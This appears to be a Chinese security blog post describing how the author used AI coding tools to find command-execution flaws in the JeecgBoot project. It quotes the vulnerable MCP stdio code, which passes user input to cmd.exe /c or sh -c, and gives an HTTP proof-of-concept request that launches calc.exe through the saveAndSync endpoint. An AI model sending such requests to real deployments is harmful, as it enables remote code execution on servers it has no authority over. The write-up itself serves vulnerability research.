2026-10-21 21:44:10 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

cover_image

普通人也能通过AI几句话就来发现Github 上 46Kstar项目的命令执行漏洞来成为大黑客

原创

iceq
iceq

Ice ThirdSpace

2026年7月2日 18:52
广东

在小说阅读器读本章

去阅读

—

前言

现在大模型的能力越来越强大了，网上也有很多开源的AI 代码审计平台，例如DeepAudit项目。

无意摸鱼看到了该文章：

https://xz.aliyun.com/news/91644

https://xz.aliyun.com/news/91897

文章中指出了3.8.3 版本存在 debug 远程命令执行漏洞，并给出了分析

https://github.com/jeecgboot/JeecgBoot/releases/tag/v3.8.3

我想现在AI进步这么快，只需经过几次调教/引导应该很快能发现该类安全问题。我想如果使用专业的代码审计skill应该是能发现非常多新漏洞的，但是我想试试其他的更简单的prompt来作为本次文章的Soul Core.

—

正文

本次的流程如下：

下载源码，直接使用codex一句话直接进行代码审计，无其他的提示词

0x01 Codex得出来的结果：

AI 知识库 MinerU 文档解析 Windows 命令注入

该漏洞需要同时满足以下条件：

1、服务运行在 Windows。

2、jeecg.airag.know.enableMinerU=true，默认类里是 false：

3、用户具备 AI 知识库文档导入/重建权限，如 airag:knowledge:doc:zip。

4、上传或保存的文档类型为 pdf/doc/docx/ppt/pptx/xls/xlsx 等非 txt/md 文件。

0x02安装程序：

直接下载源码后，直接把官网的安装手册丢给他，然后让他自动安装即可

非常的好用

0x03失败的利用：

直接使用codex复现该漏洞在最新版本已经被修复

漏洞详情如下，有人提了issue

https://github.com/jeecgboot/JeecgBoot/issues/9335

最新版本已经修复了该漏洞，在jeecg-boot-module-airag\src\main\java\org\jeecg\modules\airag\llm\handler\EmbeddingHandler.java方法下

在第 900-906 拒绝文件名含 &、|、; 等 Shell 元字符

0x04意外的发现，成功的利用：

于是我把上面的Codex利用过程直接复制粘贴到claude（配置的大模型是deepseek 4.0 flash）

很快就给我了结果，提示该版本（最新版）

/jeecgboot/airag/knowledge/doc/import/zip?knowId=2072611845298040834

/jeecgboot/airag/knowledge/doc/rebuild?docIds=2072620494183575553

这个漏洞已经被过滤了，我给你一个新的漏洞

漏洞代码在：

airag\llm\controller\AiragMcpController.java

——>

airag\llm\service\impl\AiragMcpServiceImpl.java

漏洞代码

                    // stdio 类型：endpoint 可能是一个命令行                    // Windows 下需要通过 cmd.exe /c 来执行命令，否则找不到 npx 等程序                    List<String> cmdParts;                    String os = System.getProperty(\"os.name\").toLowerCase();                    if (os.contains(\"win\")) {                        // Windows: 使用 cmd.exe /c 执行                        cmdParts = new ArrayList<>();                        cmdParts.add(\"cmd.exe\");                        cmdParts.add(\"/c\");                        cmdParts.add(endpoint.trim());                    } else {                        // Linux/Mac: 使用 sh -c 执行                        cmdParts = new ArrayList<>();                        cmdParts.add(\"sh\");                        cmdParts.add(\"-c\");                        cmdParts.add(endpoint.trim());                    }                    log.info(\"[MCP]执行stdio命令: {}\", cmdParts);

所以构造出了漏洞POC

POST /jeecg-boot/airag/airagMcp/saveAndSync HTTP/1.1Host: 192.168.10.24:8080Content-Type: application/jsonX-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiY2xpZW50VHlwZSI6IlBDIiwiZXhwIjoxNzgzMjg2MzQ2fQ.NVwpyNds4RQTk5w8whSnPzU48hcZbyRrsKrafa7C0kwContent-Length: 72

  {\"name\":\"poc\",\"category\":\"mcp\",\"type\":\"stdio\",\"endpoint\":\"calc.exe\"}